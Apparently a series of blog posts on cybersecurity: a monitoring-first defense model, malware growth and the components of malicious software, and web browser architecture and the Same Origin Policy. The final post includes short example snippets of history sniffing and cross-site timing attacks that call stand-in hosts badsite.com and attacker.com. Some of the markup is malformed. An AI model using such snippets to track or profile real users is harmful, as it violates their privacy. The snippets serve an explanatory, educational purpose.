Cybersecurity

1 Comment

Just some personal notes and thoughts about a different approach to cybersecurity defense system.

In the cyberspace the scenario in which every day an Information System (IS) lives is more or less this one:

  1. It could have a cyberattack by bad guys/organizations;
  2. If the cyberattack has success the Information System could be compromised in a hide or manifest way;
  3. If we realize that the Information System is compromised, we start the security crisis management;
  4. After the incident management we analyze what happened and try to harden more the defense system.    

Cybersecurity attacks

The cyberspace is not a secure world you can be the target of many types of attacks, for example we can have:

  • Denial-of-service (DoS) and distributed denial-of-service (DDoS) attacks;
  • Man-in-the-middle (MitM) attack;
  • Drive-by attack;
  • Password attack;
  • SQL injection attack;
  • Cross-site scripting (XSS) attack;
  • Eavesdropping attack;
  • Birthday attack;
  • Malware attack;
  • Phishing and spear phishing attacks;
  • And so on.

Cybersecurity HIDE incident

If the attack has been success but we don’t have any idea about what’s going on. This is the worse situation in which we can be. No one alerts us about it. The question is: where is my high defense system? In this situation only a very smart and good monitor system can detect that my system is compromised and where is the problem.

Cybersecurity manifest incident

If the attack has been success and we realize that our information system is compromised we can only face and manage the incident, which could be:

  • A Data leakage of any type: mails, photos, credit card data, sensitive personal data and so on;
  • A Crashed web sites;
  • A Breached networks;
  • A Denials of service;
  • A Hacked devices;
  • A Organizations’ decrease of reputation by leakage of information or successful cyberattack with huge economic loss;
  • A Personal loss of reputation;
  • And so on

Post-incident analysis

In this phase it occurs to assess the causes and to analyze the company’s crisis management capabilities in order to eliminate deficiencies in the cyber defense system to improve its resilience.

First Line of defense model

But what is the first line of defense model? As we can see in schema is the monitor system. It is very important and its role is crucial and fundamental. Every slice of second it has to tell us:

  • First of all I’m good I’m working well, I’m not compromised;
  • the IS is not under attack;
  • the IS is working according the specifications and it is not compromised.

or:

  • The IS is under attack but it is not compromised and I immediately inform the emergency team to stop it.
  • The system is compromised I didn’t detect the intrusion but I realize that the attack had success we need to recovery. This is the worse situation but the monitor immediately alert system advises about it in order to contain the damage.

Or:

Anyone of the above sentence is a fake news. This means the monitoring system does work well. In this case we are in the very bad situation that we need to minimize by increasing and improving the capabilities and intelligence of control and auditing every days of monitor system.

But what does the monitor mean?

Monitor means to check, to verify that everything is working according the rules and specifications.

The monitoring activity should be at different levels:

  • Network level that is packet analysis and so on;
  • Operating system level;
  • Application Level;
  • User behavior;

and it should  analyze, combine and correlate events at different levels for a better control of IS. I think we can have the last defense technology but without a very smart monitor working 24/7 on the information system we don’t have a good cyber security system.

1 Comment

Strong interests in the cyberspace produce lots of highly sophisticated malicious software.

CYBERSPACE INHABITANTS
To enter the cyberspace means to probably be the target of thieves, hackers, activists, terrorists, nation-states cyber warriors and foreign intelligence services. In this scenario the strong competition in cybercrime and cyberwarfare continuously brings an increasing proliferation of malicious programs and an increment in their level of sophistication.

 

MALWARE PROLIFERATION

According to the data published by the major antivirus companies we have an average of 400000 new malware samples every day.

Malware per Day

This data could be a little bit inflated by the antivirus companies but if we consider as true only the 2% of 400000, this means that we have 8000 new strains of computer malware per day in the wild.

Today it is impossible to live without digital technology, which is the base of digital society where governments, institutions, industries and individuals operate and interact in the everyday life.

So, to face the high-profile data breaches and ever increasing cyber threats coming from the same digital world, huge investments in information security are made around the world (according to Gartner in 2015 the spending was of above $75.4 billions).

But the security seems an illusion after hearing about the result of a research made at Imperva, a data security research firm in California.
A group of researchers infected a computer with 82 new malwares and ran against them 40 threat-detection engines of the most important antivirus companies.
The result was that only 5 percent of the malwares was detected. This means that even if the antivirus software is almost useless for fighting new malwares, it is necessary to protect us from the already known ones by increasing the level of security and protection.

 

EVERYONE COULD BE A TARGET

In the leakage involving Twitter on June 8th 2016 user accounts have been hacked, but not on Twitter's servers. This means that 32.888.300 users have been singularly hacked by a Russian hacker. This is amazing and underlines how easy it is to guess the users' passwords and to infect users' computers in order to steal users' credentials.
The password frequencies in the following chart show how users don’t pay too much attention to the passwords they use. In the chart we consider only the first 25th most used passwords. The statistic is done on 20210641 user accounts released from several leakages [04].
They probably think: why should I be hacked? I’m a normal ordinary guy, who cares about me? But what it is important for a bad guy is to get some profit. So, a huge quantity of accounts to sell in the dark market is a good reason to steal every Twitter user's credentials. In fact, the amount is the key factor which attracts the buyer.

Most Used Password

Even if the chameleon attacks or the werewolf attacks are able to bypass easily the antivirus defense, it is important to pay more attention to our access keys to prevent the leakage of this huge quantity of user accounts because, I think, most of Twitter user accounts are simply guessed by the bad guy.

 

 

MALICIOUS SOFTWARE ANALYSIS

Malicious Software is characterized by four components:

  • propagation methods,
  • exploits,
  • payloads,
  • level of sophistication.

 

Propagations are the means of transportation of malicious code from the origin to the target. The propagation methods depend on scale and specificity. The target may be consituted by machines connected to the internet (large scale) this could mean for example that someone tries to create a bot-net. Or the target could be a small area network (small scale), for example if a company is going to be attacked for some reason.
Specificity could be connected to constraints placed on malicious code. If they are based on technical limitations they could be a particular operating system or a software version. If they are based on personal information they could be account credentials, details about co-workers or the presence of certain filenames on the victim's machine.
The level of propagation is directly proportional to the probability of detection and the limitation of defensive response.

Exploits act to enable the propagation method and payloads operation.
The exploit severity is indicated by the score (CVSS) assigned to a vulnerability.

The payloads is code written to manipulate system resources and create some effect on a computer system.
We can see that, today, there is an increase in the level of payload customization. We have payload for a web server, for a desktop computer, for a Domain Controller, for a smart phone, and so on. Every payload is tailored to a specific target in order to be very small and guarantee the maximum likelihood of success.

The level of sophistication of a malicious code can speak and tell us some useful information. MAlicious Software Sophistication analysis is an approach that can be used to figure out who is behind it: individuals, groups, organizations or states.
In this scenario we have, from one side generic malwares that are created by individuals or a small group who generally makes use of third-party exploit kits like Blackhole Exploit Kit [05], from the other side we have organizations or states with greater resources who can develop innovative attack methods and new exploits like Duqu 2.0 [06] the Most Sophisticated Malware ever seen.

 

The power between attacker and defender is strongly asymmetric. The defender needs huge quantities of resources to defend himself, even because he should operate in a proactive manner to fight against these kind of threats.
The study of malicious code is important to understand how attackers act in order to detect in progress attacks and to prepare a better defense response.

 

REFERENCES

[01] Trey Herr, Eric Armbrust, Milware: Identification and Implications of State Authored Malicious Software, The George Washington University, 2015;
[02] https://www.first.org/: CVSS: Common Vulnerability Scoring System;

[03] Marc Goodman, Future Crimes: Inside the Digital Underground and the Battle for Or Connected world, Anchor Books, 2015.
[04] https://www.leakedsource.com/: leaked databases that contain information of large public interest.
[05] https://en.wikipedia.org/wiki/Blackhole_exploit_kit: The Blackhole exploit kit is as of 2012 the most prevalent web threat.

[06] https://en.wikipedia.org/wiki/Duqu_2.0: Kaspersky discovered the malware, and Symantec confirmed those findings.

The web browser is a program that retrieves documents from remote servers and displays them on the screen. It allows that particular resources could be requested explicitly by URI, or implicitly by following embedded hyperlinks.

The visual appearance of a web page encoded using HTML language is improved using other technologies.

The first one is the Cascading Style Sheets (CSS) that allow adding layout and style information to the web pages without complicating the original structural mark-up language.

The second one is JavaScript (now standardized as ECMAScript scripting language [1]), which is a host environment for performing client-side computations. It is embedded within HTML documents and the corresponding displayed page is the result of evaluating the JavaScript code and of applying it to the static HTML constructs.

The last one is the using of plugins[2], small extensions that are loaded by the browser and used to display some types of content that the web browser cannot display directly, such as Macromedia Flash animations and Java Applets.

[1] ECMA International is an industry association founded in 1961 and dedicated to the standardization of Information and Communication Technology (ICT) and Consumer Electronics (CE).
[2] A plug-in (also called plugin, addin, add-in, addon, add-on, snap-in, snapin) is a small software computer program that extends the capabilities of a larger program. Plugins are commonly used in web browsers to enable them to play sounds, video clips, or automatically decompressing files.

A REFERENCE ARCHITECTURE FOR WEB BROWSERS

The web browser is perhaps the most widely used software application running on diverse types of operating system. For this reason, reference architecture is useful to understand how a web browser operates and what services it supplies. A schema of the reference browser architecture is shown in figure 1.

Web browser reference architecture
Figure1 - Web browser reference architecture

The reference schema is made up of eight major subsystems plus the dependencies between them:
1. The User Interface subsystem is the layer between the user and the Browser Engine. It provides features such as toolbars, visual page-load progress, smart download handling, preferences and printing.
2. The Browser Engine subsystem is a component that provides a high-level interface to the Rendering Engine. It loads a given URI and supports primitive browsing actions such as forward, back, and reloading. It provides hooks for viewing various aspects for browsing session such as current page load progress and JavaScript alerts. It also allows querying and manipulation of Rendering Engine settings.
3. The Rendering Engine subsystem produces a visual presentation for a given URI. It is capable of displaying HTML and Extensible Markup Language (XML) documents, optionally styled with CSS, as well as embedded content such as images. It calculates the exact page layout and may use “reflow” algorithms to incrementally adjust the position of elements on the page. This subsystem also includes the HTML parser. As an example the most popular Rendering Engines are Trident for Microsoft Internet Explorer, Gecko for Firefox, WebKit for Safari and Presto for Opera.
4. The Networking subsystem implements file transfer protocols such as HTTP and FTP. It translates between different character sets, and resolves MIME[3] media types for files (see figure 2). It may implement a cache of recently retrieved resources.

MIME TABLE role
Figure 2 - MIME TABLE role

5. The JavaScript Interpreter evaluates JavaScript code which may be embedded in web pages. JavaScript is an object-oriented scripting language developed by Brendan Eich for Netscape in 1995. Certain JavaScript functionalities, such as the opening of pop-up windows, may be disabled by the Browser Engine or Rendering Engine for security purposes. In the following table we can see examples of JavaScript Interpreter.

JavaScriptInterpreter

[3] MIME was originally intended for use with e-mail attachments, in fact MIME stands  for Multimedia Internet Mail Extensions. Unix systems made use of a .mailcap file, which was a table associating MIME types with application programs. Early browsers made use of this capability, now substituted by their own MIME configuration tables.

6. The XML Parser subsystem parses XML documents into a Document Object Model (DOM) tree.

7. The Display Backend subsystem provides drawing and windowing primitives, a set of user interface widgets, and a set of fonts. It may be tied closely with the operating system.

8. The Data Persistence subsystem stores various data associated with the browsing session on disk. These may be high-level data such as bookmarks or toolbars settings, or they may be low-level data such as cookies, security certificates, or caches.

 

WEB BROWSER: THE NEW OS

In the following table we can see a comparison between a classical OS and the Internet Browser.

OSComparison

Browser Same Origin Policy (SOP)

Two pages have the same origin if the protocol, port (if one is specified), and host are the same for both pages.

Examples:

http://www.AWebSite.com:80/Page1.html

SOP01

The SOP is identified by (http, AWebSite.com, 80).

https://www.AWebSite.com/Page1.html

SOP02

While in this case the SOP is identified by (https, AWebSite.com, ).

The interaction between sites of different domains is regulated by the SOP. Every browser implements this policy which means:

  • on the client side: cookies from origin (document.domain) A are not visible to origin B; scripts from origin A cannot read or set properties for origin B using DOM interface.
  • on server side: SOP allows “send-only” communication to remote site.

Setting document.domain of a web page changes the origin of the page in fact this property sets or returns the domain name of the server from which the document is originated.

 

Some Same Origin Policy (SOP) Violations

1)    Tracking users by querying user’s history file.

<style> a#visited {background: url (www.badsite.com/trackuser.php?bank.com); } </style>
<a href=”http://www.bank.com/” > Hi! </a>

The application of this type of violation could be:

  • Spear phishing;
  • Marketing;
  • Use browsing history as second factor authentication.

 

2)    Cross-site Timing attacks.

The response time depends on private user state, for example:

  • If the user is logged or not;
  • From number of elements in shopping cart;
  • So on…

In general all web sites leak information by timing.

A link tag can be used to leak timing information based on the fact that a Browser stops parsing until link is resolved.

<head>
<link rel=“stylesheet” href=“attacker.com/img1.gif”>
<link rel="stylesheet“ href=“victim.com/login.html" />
<img rel=“stylesheet” href=“attacker.com/img2.gif>
</head>

Attacker learns how long it took to load victim/login.html.

 

REFERENCES

[01] Alan Grosskurth, Michael W. Godfrey, Architecture and evolution of the modern web browser, David R. Cheriton School of Computer Science, University of Waterloo, Waterloo, 2006;

[02] Iris Lai, Jared Haines Johm, Chun-Hung, Chiu Josh Fairhead, Conceptual Architecture of Mozilla Firefox (version 2.0.0.3), SEng 422 Assignment 1 Dr. Ahmed E. Hassan, 2007;

[03] Nicchi A., Web Applications: technologies and models, Edizioni Accademiche Italiane, 2014;

[04] Charles Reis, Steven D. Gribble, Isolating Web Programs in Modern Browser Architectures, University of Washington, 2009;

[05] Stanford Advanced Computer Security Certificate Program, Browser Security Model and SOAP Violations, 2007.